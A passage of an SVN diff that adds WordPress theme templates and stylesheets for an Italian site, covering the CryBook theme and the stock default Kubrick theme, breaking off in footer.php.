+            <div class="feeds"><?php echo get_option('crybook_feed_count'); ?><?php echo (get_option('crybook_feed_enable') === 'yes' ? '. ' : '');?>Puoi rimanere aggornato via <a href="<?php echo $feed_uri; ?>">feed rss</a><?php echo $feed_email; ?>.</div>
+            
+			<div class="col">
+            <?php if (!function_exists('dynamic_sidebar') || !dynamic_sidebar('sidebar-left')) : ?>
+
+			<?php endif; ?>
+            </div>
+            <div class="col2">
+            <?php if (!function_exists('dynamic_sidebar') || !dynamic_sidebar('sidebar-right')) : ?>
+
+			<?php endif; ?>
+			</div>
+        </div>
Index: /trunk/www.guidonia.net/wp/wp-content/themes/crybook/single.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/themes/crybook/single.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/themes/crybook/single.php	(revision 44)
@@ -0,0 +1,47 @@
+<?php get_header(); ?>
+<!--#content:start-->
+    	<div id="content">
+        <?php if (have_posts()) : ?>
+        <?php while (have_posts()) : the_post(); ?>
+        	<div class="entry" id="post-<?php the_ID(); ?>">
+            <?php
+            
+			if(!!get_option('crybook_aside_cat') and in_category(get_option('crybook_aside_cat'))) : ?>
+            	<p><strong><a href="<?php the_permalink() ?>"><?php echo $post->post_title; ?></a></strong> &mdash; <?php echo $post->post_content; ?> <span class="aside-date"><?php the_date(); ?></span></p>
+                <div class="meta-footer">
+                	<ul>
+                    	<?php edit_post_link(__('Edit'), '<li>', '</li>'); ?>
+                    </ul>
+                    <div class="clear-left"></div>
+				</div>
+                
+        	<?php else : ?>
+            	<h2><a href="<?php the_permalink() ?>" rel="bookmark" title="Permanent Link to <?php the_title_attribute(); ?>"><?php the_title(); ?></a></h2>
+                <p class="meta-header"><?php _e("Ricevuto il"); ?> <?php the_time('d F , Y') ?> in  <?php the_category(',') ?> da <?php the_author() ?> <?php edit_post_link(__('<span class="edit">Edit</a>')); ?></p>
+                <?php
+                
+				the_content(__('')); 
+				
+				?>
+                
+                <div class="meta-footer">
+                	<ul>
+                        <?php edit_post_link(__('Edit'), '<li>', '</li>'); ?>
+                    </ul>
+                    <div class="clear-left"></div>
+				</div>
+			<?php endif; ?>
+                
+            </div>
+            
+            <?php comments_template(); ?>
+            
+        <?php endwhile; ?>
+        <?php else: ?>
+		<p>Sorry, nessun post con questo criterio.</p>
+        <?php endif; ?>
+        	
+        </div>
+<!--#content:end-->
+<?php get_sidebar(); ?>
+<?php get_footer(); ?>
Index: /trunk/www.guidonia.net/wp/wp-content/themes/crybook/style.css
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/themes/crybook/style.css	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/themes/crybook/style.css	(revision 44)
@@ -0,0 +1,142 @@
+/*
+Theme Name: CryBook
+Theme URI: http://themetation.com/
+Description: A simple, no image theme. With custom Admin Panel. The theme CSSed by <a href="http://kailoon.com/">Kailoon</a> and Funtion by <a href="http://crynobone.com/">Zaki</a>.
+Date: 17th Dec 2008
+Version: 2.7
+Author: kailoon &amp; Zaki
+Author URI: http://kailoon.com/
+Tags: blue, fixed width, three columns
+*/
+@import 'wordpress.css';
+* { margin: 0; padding: 0; }
+input { border: 1px solid #1c3872; padding: 2px; }
+body { margin: 0px auto; padding: 0; font: normal 12px/18px "lucida grande",tahoma,verdana,arial,sans-serif; text-align: center; color: #434343; }
+/* HTML ======================================= */
+	p { line-height: 18px; padding: 0 0 15px 0; }
+	a { font-weight: 900; text-decoration: none; }
+	a:hover { text-decoration: underline; }
+	fieldset { border: 1px solid #ccc; padding: 10px; margin-top: 20px; }
+		fieldset label { font-size: 11px; display: block; font-weight: bold; padding: 2px 0px; text-transform: uppercase; }
+			fieldset label span { color: red; }
+			fieldset legend { font-size: 14px; font-weight: 900; padding: 0 5px; color: #000; }
+			fieldset em { display: block; font-style: normal; color: #999; padding: 5px 1px; font-size: 10px;}
+			fieldset input, fieldset select { width: 50%; border: 1px solid #ccc; padding: 3px; }
+			fieldset input#submit { width: auto; }
+			fieldset textarea { width: 95%; border: 1px solid #ccc; padding: 3px; }
+			
+/* #wrapper ======================================= */
+	#wrapper { margin: 0px auto; width: 960px; text-align: left; }
+/* #header ======================================= */
+		#header { height: 30px; -moz-border-radius-bottomleft: 3px; -moz-border-radius-bottomright: 3px; }
+			#header h1 { margin: 0; padding: 0; }
+				#header h1 a { color: #fff; font-size: 16px; font-weight: 400; text-decoration: none; padding: 4px 30px 0px 14px; float: left; }
+/* #navigation ======================================= */
+			#navigation ul { display: block; list-style: none; margin: 4px 0 0; padding: 0; float: left; font-weight: 900; }
+				#navigation ul li { display: block; float: left; padding: 0; margin: 0; font-size: 11px; }
+					#navigation ul li a { display: block; padding: 1px 8px 2px; color: #fff; text-decoration: none; }
+					#navigation ul li a.current, #navigation ul li.current_page_item a { -moz-border-radius: 3px; }
+					#navigation ul li a:hover { color: #fff; text-decoration: underline; }
+					
+			#search { float: right; width: 200px; padding-top: 3px; }
+				#search input { width: 130px; }
+				#search input#searchsubmit { padding: 2px; font-size: 10px; width: 40px;}
+				
+
+/* #content ======================================= */		
+		#content { margin: 10px 0 0 0; float: left; width: 600px; }
+			#content .entry { padding: 10px 0 0; clear: left; border-bottom: 1px solid #d3dae8; margin-bottom: 20px; }
+				#content .entry h2 { letter-spacing: -1px; font: 24px Helvetica,Arial,sans-serif; margin: 1px; padding: 0; font-weight: 400; }
+					#content .entry h2 a { color: #1e3b78; text-decoration: none; border-bottom: 1px solid #fff; font-weight: 400; }
+				#content .entry h3 { font: 400 18px Arial, Helvetica, sans-serif; font-style: italic; }
+				#content .entry pre { overflow: auto; width: 590px; padding:10px 3px; }
+				#content .entry ul { list-style: circle; margin: 4px 0 0 15px; padding: 18px; }
+				#content .entry ol { list-style: decimal; margin: 4px 0 0 15px; padding: 18px; }
+					#content .entry ul li { padding: 1px 0; }
+					#content .entry ol li { padding: 1px 0; }
+					#content .entry ul ul { list-style: square; margin: 1px 0 0 20px; padding: 0; }
+					#content .entry ol ol { list-style: lower-roman; margin: 1px 0 0 20px; padding: 0; }
+				#content .meta-header { font-size: 11px; }
+
+				#content .meta-footer { margin: 15px 0 0; }
+					#content .meta-footer ul { font-size: 10px; display: block; list-style: none; margin: 0; padding: 0;  }
+						#content .meta-footer ul li { float: left; padding: 0; margin: 0 2px 0 0; -moz-border-radius-bottomleft: 3px; -moz-border-radius-bottomright: 3px; }
+							#content .meta-footer ul li a { display: block; padding: 2px 7px; color: #fff; text-decoration: none; }
+							#content .meta-footer ul li a:hover { color: #fff; -moz-border-radius-bottomleft: 3px; -moz-border-radius-bottomright: 3px; }		
+
+		#content #comments { clear: left; padding-top: 10px; }
+			#content #comments h3 { font: 500 16px tahoma; margin: 1px; padding: 0; }
+			#content #comments .meta-comment { font-size: 11px; margin-bottom: 10px; }
+				#content #comments .meta-comment a { text-decoration: none; }
+			#content #comments .commentlist { list-style: none; margin: 0; padding: 0; }
+				#content #comments .commentlist li { background: #F7F7F7; border-bottom: 1px solid #ddd; padding: 10px; }
+				#content #comments .commentlist li.alt { background-color: #fff; }
+		#content #respond { clear: left; margin-top: 30px; padding: 15px; }
+			#content #respond h3 { font: bold 16px tahoma; margin: 1px; padding: 5px; border: 1px solid #ccc; background-color: #fff;}
+		#content #respond input, #content #respond textarea { border: 1px solid #ccc; padding: 4px; }
+		#content #respond div { padding: 5px 0; }
+		.cp { font: 400 9px/16px Arial, Helvetica, sans-serif; text-transform: uppercase; }	
+		label { text-transform: uppercase; font-weight: 900; }	
+		#content .tutorials { background: #f9f9f9; border: 1px solid #d6d3ca; margin: 5px 1px 10px; padding: 10px; text-align: center; }
+			#content .tutorials a, #content .tutorials a:link { text-decoration: none; width: 174px;  margin:0px 3px; text-align: center; }
+			#content .tutorials a img { border: 0; }
+			
+		#content ul.delicious { padding: 5px 0; }
+			#content .delicious-tags { font-size: 11px; }
+			
+		#content .pagination { clear: left; padding: 20px 0 5px; }
+			#content .pagination a { text-decoration: none; }
+			#content .pagination .prev-page { float: left; }
+			#content .pagination .next-page { float: right; }
+		#content .portfolio { clear: left; margin: 10px 0px 8px; }
+			#content .portfolio img.portfolio-image { float: left; width: 211px; height: 160px; }
+			#content .portfolio .portfolio-detail { float: right; width: 370px; }
+				#content .portfolio .portfolio-detail h4 { margin: 1px 0; padding: 0; font-size: 14px; }
+					#content .portfolio .portfolio-detail h4 a, #content .portfolio .portfolio-detail h3 a:link { text-decoration: none; }
+				#content .portfolio .portfolio-detail strong { display: block; color: #3b5999; margin: 7px 0px 3px; }
+				#content .portfolio .portfolio-detail span { display: block; font-size: 11px; }
+/* #sidebar ======================================= */
+		.box { background-color: #f7f7f7; border: 1px solid #e0e0e0; -moz-border-radius: 4px; margin-bottom: 15px; }
+		#sidebar { margin: 10px 0 0 20px; float: left; width: 340px; }
+			#sidebar h3 { text-transform: uppercase; font: 900 11px Tahoma, Arial, Helvetica, sans-serif; padding: 5px 10px; background-color: #e0e0e0; float: left; width: 318px; }
+			#sidebar .about p { padding: 10px; font-size: 11px; clear: left; }
+				.avatar { display: inline; float: left; margin: 0 10px 0 0; padding: 3px; background-color: #fff; }
+
+			#sidebar .feeds { padding: 0 0 10px; clear: left; margin-top: -5px; }
+
+			#sidebar .col { float: left; width: 165px; margin-right: 5px; display: inline; }
+			#sidebar .col2 { float: left; width: 165px; margin-left: 5px; display: inline;}
+			#sidebar .col a, #sidebar .col2 a { font-weight: 400; }
+					#sidebar .col ul, #sidebar .col2 ul { list-style: none; padding: 0; text-align: center; }
+					div#calendar_wrap, div.textwidget, ul#recentcomments { padding: 10px; text-align: left; }
+					div#calendar_wrap table { width: 100%; }
+					iv#calendar_wrap table a { font-weight: 900; }
+						#sidebar .col ul#recentcomments li, #sidebar .col2 ul#recentcomments li { width: 149px; padding: 5px 7px; line-height: 14px; border-bottom: 1px solid #ccc; }
+						#sidebar .col ul#recentcomments li a, #sidebar .col2 ul#recentcomments li a { font-weight: 900; }
+						#sidebar .col ul#recentcomments li a:hover, #sidebar .col2 ul#recentcomments li a:hover { background-color: #fff; }
+						#sidebar .col h3, #sidebar .col2 h3 { float: left; width: 143px; }
+						#sidebar .col ul li, #sidebar .col2 ul li { width: 163px; text-align: left; font-size: 11px; }
+						#sidebar .col ul ul, #sidebar .col2 ul ul { padding: 0; }
+						#sidebar .col ul li a, #sidebar .col2 ul li a { display: block; padding: 2px 10px; }
+						#sidebar .col ul li a:hover, #sidebar .col2 ul li a:hover { background-color: #f1f1f1; }
+/* #footer ======================================= */
+		#footer { margin-top: 20px; padding: 0 0 10px; font-size: 11px; clear: both; text-align:center; float: left; width: 100%; background-color: #e5e5e5; border-top: 1px solid #b5b5b5; }
+		#footer p { padding: 5px 0 0 0; border-top: 1px solid #fcfcfc; }
+/* misc ======================================= */
+	.clear-both { clear: both; }
+	.gap { height: 8px; }
+	.clear { clear: both; padding: 10px 0 0; }
+h2.pagetitle { font: 400 12px/18px Arial, Helvetica, sans-serif; }
+
+#content #comments .commentlist { clear: both; }
+#content #comments .commentlist ul { list-style: none; } 
+#content #comments .commentlist #respond { background-color: #fff; border: 1px solid #ccc; padding: 10px; margin-bottom: 5px; }
+#content #comments .commentlist ul li { border: 1px solid #ccc; padding: 10px; }
+.reply a { float: right; margin: -40px 0 0 0; font: 400 10px Arial, Helvetica, sans-serif; padding: 3px 6px; background-color: #fff; -moz-border-radius: 3px; border: 1px solid #ccc; }
+.reply a:hover { border: 1px solid #333; }
+code { font: 400 9px Tahoma, Arial, Helvetica, sans-serif; color: #666; }
+.vcard em { font-style: normal; padding-bottom: 10px; display: block; font-weight: 900; }
+.vcard small { font: 9px/9px Tahoma, Arial, Helvetica, sans-serif; color: #999; }
+#met { padding: 4px 10px; float: left; width: 578px; margin: 0 0 20px; }
+#met h3 { float: left; }
+#content #comments #met .meta-comment { float: right; margin-bottom: 0; }
Index: /trunk/www.guidonia.net/wp/wp-content/themes/crybook/wordpress.css
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/themes/crybook/wordpress.css	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/themes/crybook/wordpress.css	(revision 44)
@@ -0,0 +1,81 @@
+.aligncenter,
+div.aligncenter {
+   display: block;
+   margin-left: auto;
+   margin-right: auto;
+   padding: 4px;
+   border: 1px solid #e0e0e0;
+   background-color: #fff;
+}
+
+.alignleft {
+	float: left;
+   margin: 5px 5px 0 0;
+}
+
+.alignright {
+	float: right;
+   margin: 5px 0 0 5px;
+}
+
+img.alignleft {
+   float: left;
+   padding: 4px;
+   border: 1px solid #e0e0e0;
+   background-color: #fff;
+   margin: 5px 5px 0 0;
+}
+
+img.alignright {
+   float: right;
+   padding: 4px;
+   border: 1px solid #e0e0e0;
+   background-color: #fff;
+   margin: 5px 0 0 5px;
+}
+
+a img.attachment-thumbnail {
+   padding: 4px;
+   border: 1px solid #e0e0e0;
+   background-color: #fff;
+   margin: 0 0 5px 5px;
+   float: left;	
+}
+
+.wp-caption {
+   border: 1px solid #e0e0e0;
+   text-align: center;
+   background-color: #fff;
+   padding-top: 4px;
+}
+
+.wp-caption img {
+   margin: 0;
+   padding: 0;
+   border: 0 none;
+}
+
+.wp-caption p.wp-caption-text {
+   font-size: 11px;
+   line-height: 17px;
+   padding: 0 4px 5px;
+   margin: 0;
+   color: #666;
+   font-style: italic;
+}
+#switcher { padding: 0 0 20px 0; }
+#switcher a { float: right; text-indent: -9999em; height: 10px; width: 10px; margin: 0 0 0 20px; display: inline; border: 1px solid #111; }
+a#blue { background-color: #3b5998; }
+a#blue:hover { background-color: #09f; }
+a#pink { background-color: #f28cb5; }
+a#pink:hover { background-color: red; }
+a#green { background-color: #70983b; }
+a#green:hover { background-color: green; }
+a#purple { background-color: #c9f; }
+a#purple:hover { background-color: purple; }
+a#red{ background-color: #e95959; }
+a#red:hover { background-color: #740f0f; }
+
+a { outline: none; }
+
+blockquote { padding: 20px 20px 0; background-color: #f7f7f7; border: 1px solid #e0e0e0; margin: 0 auto 10px; width: 70%; }
Index: /trunk/www.guidonia.net/wp/wp-content/themes/default/404.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/themes/default/404.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/themes/default/404.php	(revision 44)
@@ -0,0 +1,18 @@
+<?php
+/**
+ * @package WordPress
+ * @subpackage Default_Theme
+ */
+
+get_header();
+?>
+
+	<div id="content" class="narrowcolumn">
+
+		<h2 class="center"><?php _e('Error 404 - Not Found', 'kubrick'); ?></h2>
+
+	</div>
+
+<?php get_sidebar(); ?>
+
+<?php get_footer(); ?>
Index: /trunk/www.guidonia.net/wp/wp-content/themes/default/archive.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/themes/default/archive.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/themes/default/archive.php	(revision 44)
@@ -0,0 +1,75 @@
+<?php
+/**
+ * @package WordPress
+ * @subpackage Default_Theme
+ */
+
+get_header();
+?>
+
+	<div id="content" class="narrowcolumn" role="main">
+
+		<?php if (have_posts()) : ?>
+
+ 	  <?php $post = $posts[0]; // Hack. Set $post so that the_date() works. ?>
+ 	  <?php /* If this is a category archive */ if (is_category()) { ?>
+		<h2 class="pagetitle"><?php printf(__('Archive for the &#8216;%s&#8217; Category', 'kubrick'), single_cat_title('', false)); ?></h2>
+ 	  <?php /* If this is a tag archive */ } elseif( is_tag() ) { ?>
+		<h2 class="pagetitle"><?php printf(__('Posts Tagged &#8216;%s&#8217;', 'kubrick'), single_tag_title('', false) ); ?></h2>
+ 	  <?php /* If this is a daily archive */ } elseif (is_day()) { ?>
+		<h2 class="pagetitle"><?php printf(_c('Archive for %s|Daily archive page', 'kubrick'), get_the_time(__('F jS, Y', 'kubrick'))); ?></h2>
+ 	  <?php /* If this is a monthly archive */ } elseif (is_month()) { ?>
+		<h2 class="pagetitle"><?php printf(_c('Archive for %s|Monthly archive page', 'kubrick'), get_the_time(__('F, Y', 'kubrick'))); ?></h2>
+ 	  <?php /* If this is a yearly archive */ } elseif (is_year()) { ?>
+		<h2 class="pagetitle"><?php printf(_c('Archive for %s|Yearly archive page', 'kubrick'), get_the_time(__('Y', 'kubrick'))); ?></h2>
+	  <?php /* If this is an author archive */ } elseif (is_author()) { ?>
+		<h2 class="pagetitle"><?php _e('Author Archive', 'kubrick'); ?></h2>
+ 	  <?php /* If this is a paged archive */ } elseif (isset($_GET['paged']) && !empty($_GET['paged'])) { ?>
+		<h2 class="pagetitle"><?php _e('Blog Archives', 'kubrick'); ?></h2>
+ 	  <?php } ?>
+
+
+		<div class="navigation">
+			<div class="alignleft"><?php next_posts_link(__('&laquo; Older Entries', 'kubrick')); ?></div>
+			<div class="alignright"><?php previous_posts_link(__('Newer Entries &raquo;', 'kubrick')); ?></div>
+		</div>
+
+		<?php while (have_posts()) : the_post(); ?>
+		<div <?php post_class(); ?>>
+				<h3 id="post-<?php the_ID(); ?>"><a href="<?php the_permalink() ?>" rel="bookmark" title="<?php printf(__('Permanent Link to %s', 'kubrick'), the_title_attribute('echo=0')); ?>"><?php the_title(); ?></a></h3>
+				<small><?php the_time(__('l, F jS, Y', 'kubrick')) ?></small>
+
+				<div class="entry">
+					<?php the_content() ?>
+				</div>
+
+				<p class="postmetadata"><?php the_tags(__('Tags:', 'kubrick'), ', ', '<br />'); ?> <?php printf(__('Posted in %s', 'kubrick'), get_the_category_list(', ')); ?> | <?php edit_post_link(__('Edit', 'kubrick'), '', ' | '); ?>  <?php comments_popup_link(__('No Comments &#187;', 'kubrick'), __('1 Comment &#187;', 'kubrick'), __('% Comments &#187;', 'kubrick'), '', __('Comments Closed', 'kubrick') ); ?></p>
+
+			</div>
+
+		<?php endwhile; ?>
+
+		<div class="navigation">
+			<div class="alignleft"><?php next_posts_link(__('&laquo; Older Entries', 'kubrick')); ?></div>
+			<div class="alignright"><?php previous_posts_link(__('Newer Entries &raquo;', 'kubrick')); ?></div>
+		</div>
+	<?php else :
+
+		if ( is_category() ) { // If this is a category archive
+			printf("<h2 class='center'>".__("Sorry, but there aren't any posts in the %s category yet.", 'kubrick').'</h2>', single_cat_title('',false));
+		} else if ( is_date() ) { // If this is a date archive
+			echo('<h2>'.__("Sorry, but there aren't any posts with this date.", 'kubrick').'</h2>');
+		} else if ( is_author() ) { // If this is a category archive
+			$userdata = get_userdatabylogin(get_query_var('author_name'));
+			printf("<h2 class='center'>".__("Sorry, but there aren't any posts by %s yet.", 'kubrick')."</h2>", $userdata->display_name);
+		} else {
+			echo("<h2 class='center'>".__('No posts found.', 'kubrick').'</h2>');
+		}
+	  get_search_form();
+	endif;
+?>
+	</div>
+
+<?php get_sidebar(); ?>
+
+<?php get_footer(); ?>
Index: /trunk/www.guidonia.net/wp/wp-content/themes/default/archives.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/themes/default/archives.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/themes/default/archives.php	(revision 44)
@@ -0,0 +1,29 @@
+<?php
+/**
+ * @package WordPress
+ * @subpackage Default_Theme
+ */
+/*
+Template Name: Archives
+*/
+?>
+
+<?php get_header(); ?>
+
+<div id="content" class="widecolumn">
+
+<?php get_search_form(); ?>
+
+<h2><?php _e('Archives by Month:', 'kubrick'); ?></h2>
+	<ul>
+		<?php wp_get_archives('type=monthly'); ?>
+	</ul>
+
+<h2><?php _e('Archives by Subject:', 'kubrick'); ?></h2>
+	<ul>
+		 <?php wp_list_categories(); ?>
+	</ul>
+
+</div>
+
+<?php get_footer(); ?>
Index: /trunk/www.guidonia.net/wp/wp-content/themes/default/comments-popup.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/themes/default/comments-popup.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/themes/default/comments-popup.php	(revision 44)
@@ -0,0 +1,124 @@
+<?php
+/**
+ * @package WordPress
+ * @subpackage Default_Theme
+ */
+?><!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
+<html xmlns="http://www.w3.org/1999/xhtml">
+<head>
+     <title><?php printf(__('%1$s - Comments on %2$s', 'kubrick'), get_option('blogname'), the_title('','',false)); ?></title>
+
+	<meta http-equiv="Content-Type" content="<?php bloginfo('html_type'); ?>; charset=<?php echo get_option('blog_charset'); ?>" />
+	<style type="text/css" media="screen">
+		@import url( <?php bloginfo('stylesheet_url'); ?> );
+		body { margin: 3px; }
+	</style>
+
+</head>
+<body id="commentspopup">
+
+<h1 id="header"><a href="" title="<?php echo get_option('blogname'); ?>"><?php echo get_option('blogname'); ?></a></h1>
+
+<?php
+/* Don't remove these lines. */
+add_filter('comment_text', 'popuplinks');
+if ( have_posts() ) :
+while( have_posts()) : the_post();
+?>
+<h2 id="comments"><?php _e('Comments', 'kubrick'); ?></h2>
+
+<p><a href="<?php echo get_post_comments_feed_link($post->ID); ?>"><?php _e('<abbr title="Really Simple Syndication">RSS</abbr> feed for comments on this post.', 'kubrick'); ?></a></p>
+
+<?php if ( pings_open() ) { ?>
+<p><?php printf(__('The <abbr title="Universal Resource Locator">URL</abbr> to TrackBack this entry is: <em>%s</em>', 'kubrick'), get_trackback_url()); ?></p>
+<?php } ?>
+
+<?php
+// this line is WordPress' motor, do not delete it.
+$commenter = wp_get_current_commenter();
+extract($commenter);
+$comments = get_approved_comments($id);
+$post = get_post($id);
+if ( post_password_required($post) ) {  // and it doesn't match the cookie
+	echo(get_the_password_form());
+} else { ?>
+
+<?php if ($comments) { ?>
+<ol id="commentlist">
+<?php foreach ($comments as $comment) { ?>
+	<li id="comment-<?php comment_ID() ?>">
+	<?php comment_text() ?>
+	<p><cite><?php comment_type(__('Comment', 'kubrick'), __('Trackback', 'kubrick'), __('Pingback', 'kubrick')); ?> <?php printf(__('by %1$s &#8212; %2$s @ <a href="#comment-%3$s">%4$s</a>', 'kubrick'), get_comment_author_link(), get_comment_date(), get_comment_ID(), get_comment_time()); ?></cite></p>
+	</li>
+
+<?php } // end for each comment ?>
+</ol>
+<?php } else { // this is displayed if there are no comments so far ?>
+	<p><?php _e('No comments yet.', 'kubrick'); ?></p>
+<?php } ?>
+
+<?php if ( comments_open() ) { ?>
+<h2><?php _e('Leave a comment', 'kubrick'); ?></h2>
+<p><?php printf(__('Line and paragraph breaks automatic, e-mail address never displayed, <acronym title="Hypertext Markup Language">HTML</acronym> allowed: <code>%s</code>', 'kubrick'), allowed_tags()); ?></p>
+
+<form action="<?php echo get_option('siteurl'); ?>/wp-comments-post.php" method="post" id="commentform">
+<?php if ( $user_ID ) : ?>
+	<p><?php printf(__('Logged in as <a href="%1$s">%2$s</a>. <a href="%3$s" title="Log out of this account">Log out &raquo;</a>', 'kubrick'), get_option('siteurl') . '/wp-admin/profile.php', $user_identity, wp_logout_url()); ?></p>
+<?php else : ?>
+	<p>
+	  <input type="text" name="author" id="author" class="textarea" value="<?php echo esc_attr($comment_author); ?>" size="28" tabindex="1" />
+	   <label for="author"><?php _e('Name', 'kubrick'); ?></label>
+	</p>
+
+	<p>
+	  <input type="text" name="email" id="email" value="<?php echo esc_attr($comment_author_email); ?>" size="28" tabindex="2" />
+	   <label for="email"><?php _e('E-mail', 'kubrick'); ?></label>
+	</p>
+
+	<p>
+	  <input type="text" name="url" id="url" value="<?php echo esc_attr($comment_author_url); ?>" size="28" tabindex="3" />
+	   <label for="url"><?php _e('<abbr title="Universal Resource Locator">URL</abbr>', 'kubrick'); ?></label>
+	</p>
+<?php endif; ?>
+
+	<p>
+	  <label for="comment"><?php _e('Your Comment', 'kubrick'); ?></label>
+	<br />
+	  <textarea name="comment" id="comment" cols="70" rows="4" tabindex="4"></textarea>
+	</p>
+
+	<p>
+	  <input type="hidden" name="comment_post_ID" value="<?php echo $id; ?>" />
+	  <input type="hidden" name="redirect_to" value="<?php echo esc_attr($_SERVER["REQUEST_URI"]); ?>" />
+	  <input name="submit" type="submit" tabindex="5" value="<?php _e('Say It!' , 'kubrick'); ?>" />
+	</p>
+	<?php do_action('comment_form', $post->ID); ?>
+</form>
+<?php } else { // comments are closed ?>
+<p><?php _e('Sorry, the comment form is closed at this time.', 'kubrick'); ?></p>
+<?php }
+} // end password check
+?>
+
+<div><strong><a href="javascript:window.close()"><?php _e('Close this window.', 'kubrick'); ?></a></strong></div>
+
+<?php // if you delete this the sky will fall on your head
+endwhile; // have_posts()
+else: // have_posts()
+?>
+<p><?php _e('Sorry, no posts matched your criteria.'); ?></p>
+<?php endif; ?>
+<!-- // this is just the end of the motor - don't touch that line either :) -->
+<?php //} ?>
+<p class="credit"><?php timer_stop(1); ?> <cite><?php printf(__('Powered by <a href="%s" title="Powered by WordPress, state-of-the-art semantic personal publishing platform"><strong>WordPress</strong></a>', 'kubrick'), 'http://wordpress.org/'); ?></cite></p>
+<?php // Seen at http://www.mijnkopthee.nl/log2/archive/2003/05/28/esc(18) ?>
+<script type="text/javascript">
+<!--
+document.onkeypress = function esc(e) {
+	if(typeof(e) == "undefined") { e=event; }
+	if (e.keyCode == 27) { self.close(); }
+}
+// -->
+</script>
+</body>
+</html>
Index: /trunk/www.guidonia.net/wp/wp-content/themes/default/comments.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/themes/default/comments.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/themes/default/comments.php	(revision 44)
@@ -0,0 +1,96 @@
+<?php
+/**
+ * @package WordPress
+ * @subpackage Default_Theme
+ */
+
+// Do not delete these lines
+	if (isset($_SERVER['SCRIPT_FILENAME']) && 'comments.php' == basename($_SERVER['SCRIPT_FILENAME']))
+		die ('Please do not load this page directly. Thanks!');
+	
+	if ( post_password_required() ) { ?>
+		<p class="nocomments"><?php _e('This post is password protected. Enter the password to view comments.', 'kubrick'); ?></p> 
+	<?php
+		return;
+	}
+?>
+
+<!-- You can start editing here. -->
+
+<?php if ( have_comments() ) : ?>
+	<h3 id="comments"><?php comments_number(__('No Responses', 'kubrick'), __('One Response', 'kubrick'), __('% Responses', 'kubrick'));?> <?php printf(__('to &#8220;%s&#8221;', 'kubrick'), the_title('', '', false)); ?></h3>
+
+	<div class="navigation">
+		<div class="alignleft"><?php previous_comments_link() ?></div>
+		<div class="alignright"><?php next_comments_link() ?></div>
+	</div>
+
+	<ol class="commentlist">
+	<?php wp_list_comments();?>
+	</ol>
+
+	<div class="navigation">
+		<div class="alignleft"><?php previous_comments_link() ?></div>
+		<div class="alignright"><?php next_comments_link() ?></div>
+	</div>
+ <?php else : // this is displayed if there are no comments so far ?>
+
+	<?php if ( comments_open() ) : ?>
+		<!-- If comments are open, but there are no comments. -->
+
+	 <?php else : // comments are closed ?>
+		<!-- If comments are closed. -->
+		<p class="nocomments"><?php _e('Comments are closed.', 'kubrick'); ?></p>
+
+	<?php endif; ?>
+<?php endif; ?>
+
+
+<?php if ( comments_open() ) : ?>
+
+<div id="respond">
+
+<h3><?php comment_form_title( __('Leave a Reply', 'kubrick'), __('Leave a Reply for %s' , 'kubrick') ); ?></h3>
+
+<div id="cancel-comment-reply"> 
+	<small><?php cancel_comment_reply_link() ?></small>
+</div> 
+
+<?php if ( get_option('comment_registration') && !is_user_logged_in() ) : ?>
+<p><?php printf(__('You must be <a href="%s">logged in</a> to post a comment.', 'kubrick'), wp_login_url( get_permalink() )); ?></p>
+<?php else : ?>
+
+<form action="<?php echo get_option('siteurl'); ?>/wp-comments-post.php" method="post" id="commentform">
+
+<?php if ( is_user_logged_in() ) : ?>
+
+<p><?php printf(__('Logged in as <a href="%1$s">%2$s</a>.', 'kubrick'), get_option('siteurl') . '/wp-admin/profile.php', $user_identity); ?> <a href="<?php echo wp_logout_url(get_permalink()); ?>" title="<?php _e('Log out of this account', 'kubrick'); ?>"><?php _e('Log out &raquo;', 'kubrick'); ?></a></p>
+
+<?php else : ?>
+
+<p><input type="text" name="author" id="author" value="<?php echo esc_attr($comment_author); ?>" size="22" tabindex="1" <?php if ($req) echo "aria-required='true'"; ?> />
+<label for="author"><small><?php _e('Name', 'kubrick'); ?> <?php if ($req) _e("(required)", "kubrick"); ?></small></label></p>
+
+<p><input type="text" name="email" id="email" value="<?php echo esc_attr($comment_author_email); ?>" size="22" tabindex="2" <?php if ($req) echo "aria-required='true'"; ?> />
+<label for="email"><small><?php _e('Mail (will not be published)', 'kubrick'); ?> <?php if ($req) _e("(required)", "kubrick"); ?></small></label></p>
+
+<p><input type="text" name="url" id="url" value="<?php echo  esc_attr($comment_author_url); ?>" size="22" tabindex="3" />
+<label for="url"><small><?php _e('Website', 'kubrick'); ?></small></label></p>
+
+<?php endif; ?>
+
+<!--<p><small><?php printf(__('<strong>XHTML:</strong> You can use these tags: <code>%s</code>', 'kubrick'), allowed_tags()); ?></small></p>-->
+
+<p><textarea name="comment" id="comment" cols="100%" rows="10" tabindex="4"></textarea></p>
+
+<p><input name="submit" type="submit" id="submit" tabindex="5" value="<?php _e('Submit Comment', 'kubrick'); ?>" />
+<?php comment_id_fields(); ?> 
+</p>
+<?php do_action('comment_form', $post->ID); ?>
+
+</form>
+
+<?php endif; // If registration required and not logged in ?>
+</div>
+
+<?php endif; // if you delete this the sky will fall on your head ?>
Index: /trunk/www.guidonia.net/wp/wp-content/themes/default/footer.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/themes/default/footer.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/themes/default/footer.php	(revision 44)
@@ -0,0 +1,25 @@
+<?php
+/**
+ * @package WordPress
+ * @subpackage Default_Theme
+ */
+?>
+
+<hr />
+<div id="footer" role="contentinfo">
+<!-- If you'd like to support WordPress, having the "powered by" link somewhere on your blog is the best way; it's our only promotion or advertising. -->
+	<p>
